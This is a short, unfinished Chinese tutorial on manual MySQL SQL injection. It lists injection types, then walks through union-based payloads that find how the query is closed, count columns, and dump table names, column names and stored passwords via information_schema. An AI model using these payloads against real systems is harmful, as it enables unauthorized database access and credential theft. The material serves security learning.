MYSQL手工注入（详细步骤）—— 待补充
0x00 SQL注入的分类：
（1）基于从服务器接收到的响应
▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
（2）基于如何处理输入的 SQL 查询（数据类型）
•基于字符串
•数字或整数为基础的
（3）基于程度和顺序的注入(哪里发生了影响)
★一阶注射
★二阶注射
（4）基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 （基于头部信息的注射）
0x01 MYSQL 手工注入流程——基于错误的 SQL 注入
（1）闭合方式：
首先，需要确定SQL语句的闭合方式，常见闭合方式有：
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=”$id” LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1″;
（2）order by 查字段数
举例：
?id=1′ order by 4–+ //返回Ture（这里的–+可以替换为#，都是注释符的意思）
?id=1′ order by 5–+ //返回False
说明字段数为4
（3）确定数据显示位置
?id=0′ union select 1,2,3,4–+
通过，1,2,3,4的显示效果，确定要在哪个数字上面做改动
（4）查询当前数据库名
?id=0′ union select 1,2,3,database()–+
（这里假设，该页面只能将4号位置的数据显示出来，所以只需要对4号位置的数据做改动）
（5）查询当前数据库的所有表名
0′ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() –+
（6）查指定表名的所有字段名
0′ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=”users” –+
（7）查指定表的指定字段的所有内容
0′ union select 1,2,3,group_concat(password) from users –+
（8）上面的情况是数据很少的时候，可以把指定字段的所有内容显示出来，但是有可能数据太多，不容易分辨，那么就可以在语句后面加上查询数量的限制
1）0′ union select 1,2,3,password from users limit 0,1–+
2）0′ union select 1,2,3,password from users limit 1,1–+
3）0′ union select 1,2,3,password from users limit 2,1–+
0x02 MYSQL 手工注入实战——基于错误的 SQL 注入
这里暂时还没写好，等之后补充进来。